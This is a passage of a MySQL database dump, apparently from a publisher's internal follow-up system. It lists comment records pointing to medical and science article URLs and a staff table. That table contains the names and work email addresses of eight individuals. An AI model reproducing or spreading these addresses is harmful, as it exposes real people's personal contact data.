ULL,8,8,'2022-09-20'),(2152,5958,4,2,'https://www.itmedicalteam.pl/abstract/seasonal-variation-of-fatty-acid-composition-of-phospholipid-subclasses-in-muscle-tissue-in-male-alburnus-mossulensis-105337.html',NULL,8,8,'2022-09-20'),(2153,9406,4,0,'https://www.itmedicalteam.pl/articles/biopharmaceutical-innovations-and-a-race-for-human-vaccines.pdf','2153-comm-sct.PNG',6,7,'2022-09-20'),(2154,9409,4,0,'https://www.itmedicalteam.pl/articles/hydrophilic-coatings-for-biomedical-applications.pdf','2154-comm-sct.PNG',6,7,'2022-09-20'),(2155,9444,4,0,'https://www.itmedicalteam.pl/articles/the-basics-of-bio-analysis-evaluate-and-authenticate-bio-analytical-method.pdf','2155-comm-sct.PNG',6,7,'2022-09-20'),(2156,9494,4,0,'https://www.itmedicalteam.pl/articles/clinical-pharmacognosy.pdf','2156-comm-sct.PNG',6,7,'2022-09-20'),(2157,9502,4,0,'https://www.itmedicalteam.pl/articles/suppression-of-arthritis-by-immunomodulatory-leaps-peptide-vaccines-in-animal-models-of-rheumatoid-arthritis.pdf','2157-comm-sct.PNG',6,7,'2022-09-20'),(2158,6220,4,2,'https://www.hsj.gr/abstract/efficacy-of-plantextract-based-gel-forrnfacial-acne-treatment-randomizedrncontrolled-parallel-group-andrncomparative-study-32721.html',NULL,8,8,'2022-09-20'),(2159,9521,4,0,'https://www.hilarispublisher.com/open-access/fahrs-syndrome-with-hypoparathyroidism-presenting-with-acute-ischemic-stroke.pdf','2159-comm-sct.PNG',6,7,'2022-09-20'),(2160,6219,4,2,'https://www.hsj.gr/abstract/efficacy-of-plantextract-based-gel-forrnfacial-acne-treatment-randomizedrncontrolled-parallel-group-andrncomparative-study-32721.html',NULL,7,8,'2022-09-20'),(2161,6203,4,2,'https://www.hsj.gr/abstract/feeding-practices-and-nutritionalrnevolution-of-preterm-infants-duringrnhospitalization-a-longitudinal-study-32676.html',NULL,8,8,'2022-09-20'),(2162,6185,4,2,'https://www.hsj.gr/abstract/male-partners-involvement-and-associated-factors-in-prevention-of-mother-to-child-transmission-of-hiv-in-east-badawacho-district-hadiya-zone-southern-ethiopiac-35782.html',NULL,8,8,'2022-09-20'),(2163,6147,4,2,'http://medcraveonline.com/IJCAM/a-systematic-review-of-randomised-controlled-trials-examining-curcuma-longa-for-dementianbsp.html',NULL,7,8,'2022-09-20'),(2164,9539,4,0,'https://www.researchgate.net/publication/346579636_GAVI_Health_System_Strengthening_Project_2008-_2014_Evaluation_Report','2164-comm-sct.PNG',6,7,'2022-09-20'),(2165,9560,4,0,'https://www.itmedicalteam.pl/articles/pharmaceutical-sciences.pdf','2165-comm-sct.PNG',6,7,'2022-09-20'),(2166,6047,4,2,'https://www.omicsonline.org/open-access/compensatory-rehabilitation-in-the-complete-101112-thoracic-level-injury-120349.html',NULL,8,8,'2022-09-20'),(2167,6044,4,2,'https://www.researchgate.net/publication/348839208_Social_Stigma_and_Other_Consequences_of_COVID-19_Pandemic_in_Low_Resource_Setting_in_Eastern_Africa_The_Need_to_Increase_Preventive_Efforts_and_Addressing_the_Consequences_2020',NULL,8,8,'2022-09-20'),(2168,9603,4,0,'https://d197for5662m48.cloudfront.net/documents/publicationstatus/38514/preprint_pdf/9a3f1ba7ad54e934b360dfe240477a30.pdf','2168-comm-sct.PNG',6,7,'2022-09-20'),(2169,9616,4,0,'https://ijppr.humanjournals.com/wp-content/uploads/2021/09/12.Swati-Prakash.pdf','2169-comm-sct.PNG',6,7,'2022-09-20'),(2170,9752,4,0,'https://www.archivosdemedicina.com/medicina-de-familia/strategic-approach-to-the-care-of-the-sarscov-2-pandemic-in-a-hospital-in-colombia.pdf','2170-comm-sct.PNG',6,7,'2022-09-20'),(2171,9800,4,0,'https://www.itmedicalteam.pl/articles/advancements-in-alzheimers-treatment-using-gene-therapy-techniques.pdf','2171-comm-sct.PNG',6,7,'2022-09-20'),(2172,9801,4,0,'https://www.itmedicalteam.pl/articles/religiosity-and-depression-does-a-belief-system-play-a-neuroprotective-role.pdf','2172-comm-sct.PNG',6,7,'2022-09-20'),(2173,9819,4,0,'https://www.itmedicalteam.pl/articles/first-presentation-of-covid19-infection-with-cognitive-impairment-due-toencephalitis-a-case-series.pdf','2173-comm-sct.PNG',6,7,'2022-09-20'),(2174,9954,4,0,'https://www.itmedicalteam.pl/articles/dipeptidyl-peptidase4-inhibitors.pdf','2174-comm-sct.PNG',6,7,'2022-09-20'),(2175,9955,4,0,'https://www.itmedicalteam.pl/articles/drugs-heart.pdf','2175-comm-sct.PNG',6,7,'2022-09-20'),(2176,9961,4,0,'https://www.itmedicalteam.pl/articles/is-chocolate-a-drug.pdf','2176-comm-sct.PNG',6,7,'2022-09-20'),(2177,6338,4,2,'https://www.longdom.org/open-access/the-impact-of-covid19-pandemic-on-food-security-in-ksa-19682019-evidence-from-a-simultaneous-equations-system-64190.html',NULL,7,8,'2022-09-20'),(2178,6324,4,2,'https://www.itmedicalteam.pl/articles/a-new-early-diagnostic-approach-ofsepsis-in-newborns-with-respiratorydistress-syndrome-at-the-intensive-careunit-106235.html',NULL,8,8,'2022-09-20'),(2179,6290,4,2,'https://www.itmedicalteam.pl/articles/telehealth-and-achieving-the-quadrupleaim-in-rural-communities-a-vision-forthe-21st-century.pdf',NULL,7,8,'2022-09-20'),(2180,6284,4,2,'https://www.hsj.gr/abstract/male-partners-involvement-and-associated-factors-in-prevention-of-mother-to-child-transmission-of-hiv-in-east-badawacho-district-hadiya-zone-southern-ethiopiac-35782.html',NULL,7,8,'2022-09-20'),(2181,6265,4,2,'https://www.itmedicalteam.pl/articles/application-of-peptides-and-proteomicsin-the-diagnosis-and-management-ofpancreatic-cancer.pdf',NULL,8,8,'2022-09-20'),(2182,10102,4,0,'https://www.itmedicalteam.pl/articles/a-case-report-on-child-with-pyogenic-meningitis.pdf','2182-comm-sct.PNG',6,7,'2022-09-20'),(2183,6244,4,2,'https://www.hsj.gr/abstract/is-there-a-correlation-between-changesrnin-hydroxychloroquine-use-and-mortalityrnrates-from-covid19-32674.html',NULL,8,8,'2022-09-20'),(2184,6228,4,2,'https://www.researchgate.net/publication/346953872_Physical_Therapy_A_Critical_Component_in_Breast_Cancer_and_Secondary_Lymphedema_A_Rehabilitation_Perspective',NULL,7,8,'2022-09-20'),(2185,6221,4,2,'https://www.semanticscholar.org/paper/Clinical-Efficacy-on-Treatment-of-Broad-Spectrum-of-Bahl/cb5093970fcc58a571e60009c4ee792e25c90d20',NULL,8,8,'2022-09-20'),(2186,6468,4,2,'https://www.researchgate.net/publication/345311402_The_Potential_Impact_of_Helicobacter_Pylori_Infection_on_the_Onset_of_Metabolic_Disease',NULL,7,8,'2022-09-20'),(2187,10176,4,0,'https://www.itmedicalteam.pl/articles/hypothesis-on-the-presence-of-smooth-muscle-lysis-factor-as-a-marker-in-thediagnosis-of-neuroleptic-malignant-syndrome.pdf','2187-comm-sct.PNG',6,7,'2022-09-20'),(2188,6456,4,2,'https://www.hsj.gr/abstract/complex-febrile-seizures-associated-with-doose-vs-dravet-syndrome-presentation-of-a-clinical-case-33228.html',NULL,7,8,'2022-09-20'),(2189,6455,4,2,'https://www.longdom.org/proceedings/presentation-of-a-case-of-fulminant-hepatitis-due-to-hepatitis-a-in-a-3--year--old-female-preschool-59548.html',NULL,8,8,'2022-09-20'),(2190,6437,4,2,'https://www.semanticscholar.org/paper/Improving-Mental-Health-in-Ma%CC%84ori-Children-Family-Thakur-FaisalAl/0e58a8593a423411a3b06a51bb66aa75b697018a',NULL,7,8,'2022-09-20'),(2191,6434,4,2,'https://www.itmedicalteam.pl/articles/is-procalcitonin-and-lactate-a-earlymarkers-for-sepsis-in-newborns-in-the-icu.pdf',NULL,8,8,'2022-09-20'),(2192,10309,4,0,'https://www.itmedicalteam.pl/articles/uso-de-ivermectina-en-pacientes-con-diagnstico-o-sospecha-de-infeccin-por-covid19-en-magangu-bolvar-magcov1.pdf','2192-comm-sct.PNG',6,7,'2022-09-20'),(2193,6398,4,2,'https://hospital-medical-management.imedpub.com/exploring-evidence-a-challenge-before-nurses-of-today.pdf',NULL,8,8,'2022-09-20'),(2194,6377,4,2,'https://www.itmedicalteam.pl/abstract/family-support-and-coping-mechanism-incongestive-heart-failure-patient-106236.html',NULL,7,8,'2022-09-20'),(2195,10335,4,0,'https://www.itmedicalteam.pl/articles/seroprevalence-and-associated-factor-of-hbv-infection-among-pregnant-womanattending-anc-at-hidase-health-center-addis-ababa-ethiop.pdf','2195-comm-sct.PNG',6,7,'2022-09-20'),(2196,6376,4,2,'https://www.itmedicalteam.pl/articles/extra-and-intraparenchymal-renal-arteryaneurysms-causing-hydronephrosis-acase-report.pdf',NULL,8,8,'2022-09-20'),(2197,6354,4,2,'https://www.hsj.gr/abstract/risk-factors-and-prevalence-of-neonatalrnpolycythemia-in-duhok-maternityrnhospitala-crosssection-study-32733.html',NULL,8,8,'2022-09-20'),(2198,6339,4,2,'https://www.walshmedicalmedia.com/open-access/nonlinear-relationships-between-macroeconomic-indicators-shocks-andinflation-rate-in-sudan-economy-19702019-evidence-com.pdf',NULL,8,8,'2022-09-20'),(2199,10349,4,0,'https://www.itmedicalteam.pl/articles/understanding-the-in-vivo-performance-of-immediate-release-tablet-formulations-with-atypical-disintegration-by-using-non-conventio.pdf','2199-comm-sct.PNG',6,7,'2022-09-20'),(2200,10360,4,0,'https://www.itmedicalteam.pl/articles/less-offsprings-in-systemic-lupus-erythematous-patients-is-it-infertility-or-adverse-pregnancy-outcomes-to-blame.pdf','2200-comm-sct.PNG',6,7,'2022-09-20'),(2201,6578,4,2,'https://journalahrj.com/index.php/AHRJ/article/view/30155',NULL,8,8,'2022-09-20'),(2202,6571,4,2,'https://www.itmedicalteam.pl/abstract/effect-of-supplemental-amino-acid-on-performance-and-proximate-composition-of-clarias-gariepinus-burchell-1822-fed-roast-105340.html',NULL,8,8,'2022-09-20'),(2203,6570,4,2,'https://www.hsj.gr/abstract/teleradiology-and-ai-as-solution-tornovercome-the-covid19-pandemicrnimpact-during-the-lockdowns-in-africa-33594.html',NULL,7,8,'2022-09-20'),(2204,6567,4,2,'https://www.longdom.org/open-access/prevalence-of-glutathione-s-transferase-gstm1-gstp1-and-gstt1-genes-polymorphisms-among-pediatric-sudanese-patients-with.pdf',NULL,8,8,'2022-09-20'),(2205,6561,4,2,'https://www.hsj.gr/abstract/tuberculosis-treatment-outcomes-among-children-in-ethiopia-systematic-review-and-metaanalysis-35805.html',NULL,7,8,'2022-09-20'),(2206,6558,4,2,'https://www.researchgate.net/publication/350189864_Association_Between_Socio-Demographic_Factors_and_Adherence_to_Treatment_by_HIV_Patients_Undergoing_Anti-Retroviral_Treatment_at_The_University_of_Calabar_Teaching_Hospital',NULL,8,8,'2022-09-20'),(2207,6550,4,2,'https://www.itmedicalteam.pl/abstract/a-crosssectional-study-on-the-healthy-and-nutritionally-balanced-vegetarian-midday-meal-for-universal-acceptance-an-over-106328.html',NULL,7,8,'2022-09-20'),(2208,6501,4,2,'https://www.itmedicalteam.pl/articles/a-controlled-final-irrigation-protocolreduces-the-acute-pain-rate-of-singleversus-twovisit-rct-of-teeth-withnecrotic-pulp-and-apic.pdf',NULL,7,8,'2022-09-20'),(2209,6716,4,2,'https://www.researchgate.net/publication/356831991_A_Survey_on_the_Species_Diversity_and_Water_Quality_Parameters_of_Selected_Site_in_Vembanad_Lake',NULL,8,8,'2022-09-20'),(2210,6715,4,2,'https://www.itmedicalteam.pl/abstract/acceptance-of-thermal-and-ph-shock-on-red-belly-pacu-piaractus-brachypomus-in-adverse-rapid-environmental-conditions-105342.html',NULL,8,8,'2022-09-20'),(2211,6714,4,2,'https://www.hsj.gr/abstract/a-case-of-360-degree-cervicalrndecompression-and-fusion-in-a-65-yearrnold-man-with-tandem-spinal-stenosis-35061.html',NULL,7,8,'2022-09-20'),(2212,9818,4,2,'https://fsb.bau.edu.bd/bjf/index.php/home/article/download/133/159',NULL,8,8,'2022-09-20'),(2213,9806,4,2,'https://www.ayuhom.com/article.asp?issn=2349-2422;year=2021;volume=8;issue=1;spage=13;epage=15;aulast=Kumar',NULL,8,8,'2022-09-20'),(2214,9179,4,2,'https://www.itmedicalteam.pl/articles/a-case-report-on-management-of-a-patient-with-severe-trismus-with-bilateral-recurrent-pericoronitis-along-with-chronic-o-102994.html',NULL,8,8,'2022-09-20'),(2215,8952,4,2,'Https://www.thegms.co/nephrology/nephro-pr-20081006.pdf',NULL,8,8,'2022-09-20'),(2216,8796,4,2,'https://juniperpublishers.com/jgwh/JGWH.MS.ID.556071.php',NULL,8,8,'2022-09-20'),(2217,8793,4,2,'https://www.hilarispublisher.com/abstract/physical-model-of-the-economic-development-33045.html',NULL,8,8,'2022-09-20'),(2218,8671,4,2,'https://doi.org/10.46624/ajptr.2020.v10.i2.020',NULL,8,8,'2022-09-20'),(2219,8590,4,2,'Https://www.sciencedirect.com/science/article/abs/pii/S2468784720302828?via%3Dihub',NULL,8,8,'2022-09-20'),(2220,8580,4,2,'https://www.researchgate.net/publication/262149797_Formulation_and_evaluation_of_controlled_porosity_osmotic_pump_for_oral_delivery_of_ketorolac',NULL,7,8,'2022-09-20'),(2221,8511,4,2,'https://pubmed.ncbi.nlm.nih.gov/34466315/',NULL,8,8,'2022-09-20'),(2222,8504,4,2,'https://mbimph.com/index.php/AJOAIMS/article/view/2159',NULL,7,8,'2022-09-20'),(2223,10509,4,0,'https://www.itmedicalteam.pl/articles/current-advancements-in-drug-delivery.pdf','2223-comm-sct.PNG',6,7,'2022-09-21'),(2224,10523,4,0,'https://www.itmedicalteam.pl/abstract/assessment-of-preparedness-and-community-based-intervention-strategies-for-prevention-and-control-of-lassa-fever-in-rura-106442.html','2224-comm-sct.PNG',6,7,'2022-09-21'),(2225,10730,4,0,'https://www.acanceresearch.com/cancer-research/overview-of-the-teartments-of-esophageal-liver-pancreas-and-rectal-cancers.pdf','2225-comm-sct.PNG',6,7,'2022-09-21'),(2226,10859,4,0,'https://www.itmedicalteam.pl/articles/is-biomedicine-function-requires-great-antibody-diversity-107014.html','2226-comm-sct.PNG',6,7,'2022-09-21'),(2227,10871,4,0,'https://www.itmedicalteam.pl/articles/study-of-organoids-as-breast-cancer.pdf','2227-comm-sct.PNG',6,7,'2022-09-21'),(2228,10881,4,0,'https://www.itmedicalteam.pl/articles/tracheostomy-in-patients-with-covid19-current-recommendations.pdf','2228-comm-sct.PNG',6,7,'2022-09-21'),(2229,10970,4,0,'https://www.itmedicalteam.pl/articles/overview-of-adjuvant-therapy-in-different-cancers.pdf','2229-comm-sct.PNG',6,7,'2022-09-21'),(2230,10996,4,0,'https://www.itmedicalteam.pl/articles/quantitative-phytochemical-analysis-and-potential-applications-of-the-ethanol-and-aqueous-ethanol-extracts-of-some-selec.pdf','2230-comm-sct.PNG',6,7,'2022-09-21'),(2231,11057,4,0,'https://www.itmedicalteam.pl/articles/potentially-inappropriate-medication-use-among-older-adults-using-the-2019-american-geriatrics-society-beers-criteria.pdf','2231-comm-sct.PNG',6,7,'2022-09-21'),(2232,11121,4,0,'https://ijrpr.com/uploads/V2ISSUE10/IJRPR1546.pdf','2232-comm-sct.PNG',6,7,'2022-09-21'),(2233,11264,4,0,'https://www.itmedicalteam.pl/articles/pre-and-postnatal-care-development.pdf','2233-comm-sct.PNG',6,7,'2022-09-21'),(2234,11265,4,0,'https://www.itmedicalteam.pl/articles/pregnancy-and-gynaecology-complications.pdf','2234-comm-sct.PNG',6,7,'2022-09-21'),(2235,11269,4,0,'https://www.ijddr.in/abstract/formulation-and-evaluation-of-mouth-dissolving-tablets-containing-ibuprofen-42616.html','2235-comm-sct.PNG',6,7,'2022-09-21'),(2236,11262,4,0,'https://www.itmedicalteam.pl/articles/female-fertility-disorders-and-its-preventive-measures.pdf','2236-comm-sct.PNG',6,7,'2022-09-21'),(2237,11263,4,0,'https://www.itmedicalteam.pl/articles/obstetric-analgesia-and-anaesthesia.pdf','2237-comm-sct.PNG',6,7,'2022-09-21'),(2238,11447,4,0,'https://www.itmedicalteam.pl/articles/the--survival--of--patients--with-triple-negative-breast--cancer--with--chemotherapy--along-with-lifestyle-change--inter.pdf','2238-comm-sct.PNG',6,7,'2022-09-21'),(2239,11480,4,0,'https://www.itmedicalteam.pl/articles/cholesterol-crystals-in-reservosomes-an-unsolved-mystery.pdf','2239-comm-sct.PNG',6,7,'2022-09-21'),(2240,11487,4,0,'https://www.itmedicalteam.pl/articles/theoritical-basis-potential-interaction-between-aspirin-and-enalapril-incardiovascular-patients.pdf','2240-comm-sct.PNG',6,7,'2022-09-21'),(2241,11573,4,0,'https://www.itmedicalteam.pl/articles/therapeutic-potential-of-culinary-spices.pdf','2241-comm-sct.PNG',6,7,'2022-09-21'),(2242,11611,4,0,'https://www.itmedicalteam.pl/articles/overview-of-microalga-cells.pdf','2242-comm-sct.PNG',6,7,'2022-09-21'),(2243,11673,4,0,'https://www.itmedicalteam.pl/articles/study-of-gaba-receptors-and-their-clinical.pdf','2243-comm-sct.PNG',6,7,'2022-09-21'),(2244,11759,4,0,'https://www.medicalandresearch.com/assets/articles/documents/DOCUMENT_202111281826321.pdf','2244-comm-sct.PNG',6,7,'2022-09-21'),(2245,11878,4,0,'https://www.itmedicalteam.pl/articles/a-review-oral-dispersible-tablets.pdf','2245-comm-sct.PNG',6,7,'2022-09-21'),(2246,6704,4,2,'Https://www.hsj.gr/medicine/nivolumab-and-acute-grade-iii-renaltoxicity.php?aid=33742',NULL,8,8,'2022-09-21'),(2247,6679,4,2,'Https://www.hsj.gr/medicine/diagnostic-values-of-inflammatorymarkers-at-picu.pdf',NULL,7,8,'2022-09-21'),(2248,11928,4,0,'https://www.ijsr.net/archive/v11i5/SR22526170827.pdf','2248-comm-sct.PNG',6,7,'2022-09-21'),(2249,6662,4,2,'https://transmedcomms.biomedcentral.com/articles/10.1186/s41231-021-00091-4',NULL,8,8,'2022-09-21'),(2250,6605,4,2,'Https://www.hsj.gr/medicine/anxiety-symptoms-in-universityprofessors-during-the-covid19-pandemic.php?aid=33498',NULL,7,8,'2022-09-21'),(2251,11959,4,0,'http://journal.tishreen.edu.sy/index.php/hlthscnc/article/view/10798','2251-comm-sct.PNG',6,7,'2022-09-21'),(2252,6604,4,2,'Https://www.hsj.gr/medicine/hospitalization-rate-among-recipients-ofnonskilled-home-care-and-the-feasibilityof-using-a-novel-standardized-assessmentto-reduce.php?aid=33499',NULL,8,8,'2022-09-21'),(2253,11969,4,0,'https://www.medt.com.es/biocatalysis/molecular-and-biochemical-aspects-of-denitrification.pdf','2253-comm-sct.PNG',6,7,'2022-09-21'),(2254,12091,4,0,'https://www.medt.com.es/biocatalysis/short-note-on-enzyme-inhibitors.pdf','2254-comm-sct.PNG',6,7,'2022-09-21'),(2255,6842,4,2,'https://ijshr.com/IJSHR_Vol.6_Issue.2_April2021/IJSHR025.pdf',NULL,8,8,'2022-09-21'),(2256,6836,4,2,'https://www.hsj.gr/abstract/reforming-rebate-contracting-willrnimprove-drug-affordability-34290.html',NULL,7,8,'2022-09-21'),(2257,6834,4,2,'Https://www.acanceresearch.com/cancer-research/copd-exacerbations-affect-clinical-outcome-in-advanced-nonsmall-cell-lung-cancer-a-retrospective-analysis.pdf',NULL,8,8,'2022-09-21'),(2258,6793,4,2,'Https://www.hsj.gr/medicine/sonographic-reference-luminal-diameterof-the-abdominal-aorta-among-subjectsin-nigeria.pdf',NULL,7,8,'2022-09-21'),(2259,6776,4,2,'https://pesquisa.bvsalud.org/global-literature-on-novel-coronavirus-2019-ncov/resource/pt/covidwho-1080078',NULL,8,8,'2022-09-21'),(2260,6757,4,2,'http://ijhr.iums.ac.ir/article_126600.html',NULL,8,8,'2022-09-21'),(2261,12289,4,0,'https://www.hsprj.com/health-maintanance/providing-healthcare-to-underprivileged-immigrants-what-are-the-challenges-for-health-professionals.pdf','2261-comm-sct.PNG',6,7,'2022-09-21'),(2262,6718,4,2,'https://www.itmedicalteam.pl/articles/occupational-rehabilitation-of-patients-with-posterior-cerebral-artery-stroke-and-anatomical-variations-of-the-circle-of-106248.html',NULL,8,8,'2022-09-21'),(2263,12287,4,0,'https://www.iajps.com/wp-content/uploads/2022/02/02.IAJPS02022022.pdf','2263-comm-sct.PNG',6,7,'2022-09-21'),(2264,6717,4,2,'https://www.cabdirect.org/cabdirect/abstract/20210103096',NULL,7,8,'2022-09-21'),(2265,6708,4,2,'https://www.hsj.gr/abstract/intestinal-parasitic-infection-statusrnipis-among-primary-school-children-inrnethiopia-a-systematic-review-and-metaanalysis-35062.html',NULL,7,8,'2022-09-21'),(2266,12436,4,0,'https://repository.ju.edu.et//handle/123456789/5260','2266-comm-sct.PNG',6,7,'2022-09-21'),(2267,7449,4,2,'https://www.hsj.gr/abstract/male-partners-involvement-and-associated-factors-in-prevention-of-mother-to-child-transmission-of-hiv-in-east-badawacho-district-hadiya-zone-southern-ethiopiac-35782.html',NULL,7,8,'2022-09-21'),(2268,7431,4,2,'https://www.itmedicalteam.pl/articles/willingness-of-health-care-workers-torespond-to-covid19-pandemic-in-portharcourt-nigeria-106286.html',NULL,8,8,'2022-09-21'),(2269,7381,4,2,'https://academic.oup.com/icesjms/article/77/7-8/3050/5998290',NULL,8,8,'2022-09-21'),(2270,12680,4,0,'https://www.longdom.org/open-access/epidural-anesthesia-for-abdominal-laparotomy-in-an-obese-patient-with-severe-cardiac-disease-and-epilepsy-a-rare-case-re.pdf','2270-comm-sct.PNG',6,7,'2022-09-21'),(2271,7017,4,2,'https://pubmed.ncbi.nlm.nih.gov/32884499/',NULL,8,8,'2022-09-21'),(2272,12683,4,0,'https://www.itmedicalteam.pl/articles/new-mechanism-of-dnmt3l-revealed-in-a-down-syndrome-study.pdf','2272-comm-sct.PNG',6,7,'2022-09-21'),(2273,7371,4,2,'https://academic.oup.com/icesjms/article/77/7-8/3050/5998290',NULL,8,8,'2022-09-21'),(2274,7200,4,2,'https://www.jbiomeds.com/abstract/enzyme-inhibitory-and-antioxidant-activities-of-sterculia-tragacantha-lindl-leaves-in-the-management-of-type-ii-diabetes-mellitus-35097.html',NULL,8,8,'2022-09-21'),(2275,12721,4,0,'https://jmrhs.info/index.php/jmrhs/article/view/571/678','2275-comm-sct.PNG',6,7,'2022-09-21'),(2276,12752,4,0,'https://www.jneuro.com/neurology-neuroscience/epidemiological-heterogeneity-of-d-sclerosis-and-acquired-mnnsyndrome-in-children.pdf','2276-comm-sct.PNG',6,7,'2022-09-21'),(2277,12782,4,0,'https://www.biorxiv.org/content/10.1101/2022.05.27.493693v1','2277-comm-sct.PNG',6,7,'2022-09-21'),(2278,7629,4,2,'https://www.archivesofmedicine.com/abstract/editorial-note-on-covid-19-latest-updates-and-drug-development-36521.html',NULL,8,8,'2022-09-21'),(2279,7612,4,2,'Http://www.ijrhss.org/papers/v6-i8/5.pdf',NULL,7,8,'2022-09-21'),(2280,7607,4,2,'https://www.hsj.gr/abstract/factors-associated-with-voluntary-blood-donation-among-graduating-class-students-of-assosa-university-benishangul-gumuz-ethiopia-2018-36600.html',NULL,8,8,'2022-09-21'),(2281,7556,4,2,'https://www.acmicrob.com/abstract/prevalence-and-characterization-of-bacterial-and-yeast-vaginal-infections-in-a-public-health-institution-of-ouagadougou-burkina-faso-36167.html',NULL,8,8,'2022-09-21'),(2282,7488,4,2,'https://www.researchgate.net/publication/354230975_The_effect_of_type_II_toxin-antitoxin_systems_on_methicillinresistant_Staphylococcus_aureus_persister_cell_formation_and_antibiotic_tolerance',NULL,7,8,'2022-09-21'),(2283,8328,4,2,'https://www.oatext.com/pdf/JIC-7-308.pdf',NULL,8,8,'2022-09-21'),(2284,8243,4,2,'https://www.worldscientific.com/doi/10.1142/S2737416521500228',NULL,8,8,'2022-09-21'),(2285,8213,4,2,'https://climateandhealthj.org/index.php/ch/article/view/25',NULL,8,8,'2022-09-21'),(2286,8212,4,2,'https://www.aclr.com.es/abstract/varicella-hospitalizations-and-communityacquired-methicillinresistant-staphylococcus-aureus-seven-years-of-active-surveillance-37111.html',NULL,7,8,'2022-09-21'),(2287,8188,4,2,'https://www.itmedicalteam.pl/articles/scales-dermal-structures-of-fish.pdf',NULL,7,8,'2022-09-21'),(2288,8125,4,2,'https://onlinelibrary.wiley.com/doi/abs/10.1111/are.15004',NULL,8,8,'2022-09-21'),(2289,8121,4,2,'https://www.worldwidejournals.com/international-journal-of-scientific-research-(IJSR)/article/effect-of-low-level-laser-therapy-on-hemiplegic-shoulder-pain-in-post-stroke-subjects/MzU4MzM=/?is=1&b1=1193&k=299',NULL,8,8,'2022-09-21'),(2290,7880,4,2,'https://www.itmedicalteam.pl/archive/ipjbs-volume-10-issue-2-year-2021.html',NULL,7,8,'2022-09-21'),(2291,8418,4,2,'https://www.itmedicalteam.pl/articles/effect-of-covid19-pandemic-in-fisheries-and-fisherman-of-rural-area.pdf',NULL,8,8,'2022-09-21'),(2292,10516,4,2,'https://pubmed.ncbi.nlm.nih.gov/34320882/',NULL,8,8,'2022-09-21'),(2293,10372,4,2,'https://pubmed.ncbi.nlm.nih.gov/32496928/',NULL,8,8,'2022-09-21'),(2294,10247,4,2,'https://sebhau.edu.ly/journal/index.php/joms/article/view/1919',NULL,7,8,'2022-09-21'),(2295,10146,4,2,'Https://irispublishers.com/ann/pdf/ANN.MS.ID.000750.pdf',NULL,8,8,'2022-09-21'),(2296,9984,4,2,'https://www.itmedicalteam.pl/articles/exaccrebated-neurological-and-brain-disorders-in-covid19-pandemic-a-globalconcern.pdf',NULL,7,8,'2022-09-21'),(2297,11992,4,2,'https://9janurses.com/managing-irate-patients-and-patients-relatives-in-nigerian-hospitals/',NULL,8,8,'2022-09-21'),(2298,11014,4,2,'https://www.sciencepublishinggroup.com/journal/paperinfo?journalid=217&doi=10.11648/j.bio.20210906.11',NULL,8,8,'2022-09-21'),(2299,12655,4,2,'https://www.fisheriesjournal.com/archives/?year=2022&vol=10&issue=2&part=B&ArticleId=2653',NULL,8,8,'2022-09-21'),(2300,12761,4,2,'https://www.researchgate.net/publication/361225060_A_Best_Choice_Medicine_BCM_Route_to_Drug_Development_to_Solve_the_Aging-Associated_Non-Communicable_Disease_Burden',NULL,7,8,'2022-09-21'),(2301,12751,4,2,'https://www.itmedicalteam.pl/articles/caracterizacin-de-los-pacientes-con-miastenia-gravis-juvenil-de-un-hospital-universitario-de-referencia-en-colombia.pdf',NULL,7,8,'2022-09-21'),(2302,12741,4,2,'https://www.itmedicalteam.pl/articles/determinacion-de-diagnosticos-de-pacientes-ingresados-al-servicio-de-urgencias-de-un-hospital-infantil-en-colombia-por-intento-de--111270.html',NULL,8,8,'2022-09-21'),(2303,12740,4,2,'https://dialnet.unirioja.es/servlet/articulo?codigo=8484623',NULL,7,8,'2022-09-21'),(2304,12894,4,2,'https://europepmc.org/article/ppr/ppr542169',NULL,8,8,'2022-09-21'),(2305,12893,4,2,'https://pssjournal.biomedcentral.com/articles/10.1186/1754-9493-4-5',NULL,8,8,'2022-09-21'),(2306,12980,4,2,'https://www.sciencedirect.com/science/article/pii/S0307904X15007106',NULL,7,8,'2022-09-21'),(2307,12942,4,2,'https://www.itmedicalteam.pl/articles/psychosocial-etiology-of-disturbed-sexual-functioning-in-heterosexual-adults-113343.html',NULL,7,8,'2022-09-21'),(2308,12841,4,0,'https://www.itmedicalteam.pl/articles/humans-by-translation-process-which-induced-by-pluripotent-stem-cells.pdf',NULL,6,7,'2022-10-01'),(2309,12874,4,0,'https://www.sciencedirect.com/science/article/pii/S1877042812045417',NULL,6,7,'2022-10-07'),(2310,12875,4,0,'https://www.itmedicalteam.pl/articles/health-care-delivery-by-using-time-tradeoff-methods-to-assess-preferences-over.pdf',NULL,6,7,'2022-10-07'),(2311,12876,4,0,'https://www.itmedicalteam.pl/articles/health-services-and-policy-research-by-reimagining.pdf',NULL,6,7,'2022-10-07'),(2312,12877,4,0,'https://www.itmedicalteam.pl/articles/impact-of-covid19-contact-tracing--effects-on-human-resources-for-health.pdf',NULL,6,7,'2022-10-07'),(2313,12878,4,0,'https://www.itmedicalteam.pl/articles/parkinsons-disease-by-translational-informatics.pdf',NULL,6,7,'2022-10-07');
/*!40000 ALTER TABLE `fup_comments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `fup_cse`
--

DROP TABLE IF EXISTS `fup_cse`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `fup_cse` (
  `cse_id` int NOT NULL AUTO_INCREMENT,
  `cse_name` varchar(50) NOT NULL,
  `cse_email` varchar(80) NOT NULL,
  PRIMARY KEY (`cse_id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `fup_cse`
--

LOCK TABLES `fup_cse` WRITE;
/*!40000 ALTER TABLE `fup_cse` DISABLE KEYS */;
INSERT INTO `fup_cse` VALUES (1,'Souvik Mandal','souvick_m@meetingsint.co.in'),(2,'Shesadri','seshadri_c@omicsgroup.co.in, cse@meetingsint.co.in'),(3,'Jhanvi','jahnavi_m@omicsgroup.co.in'),(4,'Bhavana Vijay','bhavanavijay_m@omicsgroup.co.in'),(5,'Satish Reddy','satish_r@meetingsint.co.in'),(6,'Chandra Mounika','chandramounika_n@omicsgroup.co.in'),(7,'Harsha Vardhan','harshavardhan_m@meetingsint.co.in'),(8,'Akhil','akhil_j@meetingsint.co.in');
/*!40000 ALTER TABLE `fup_cse` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `fup_status`
--

DROP TABLE IF EXISTS `fup_status`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
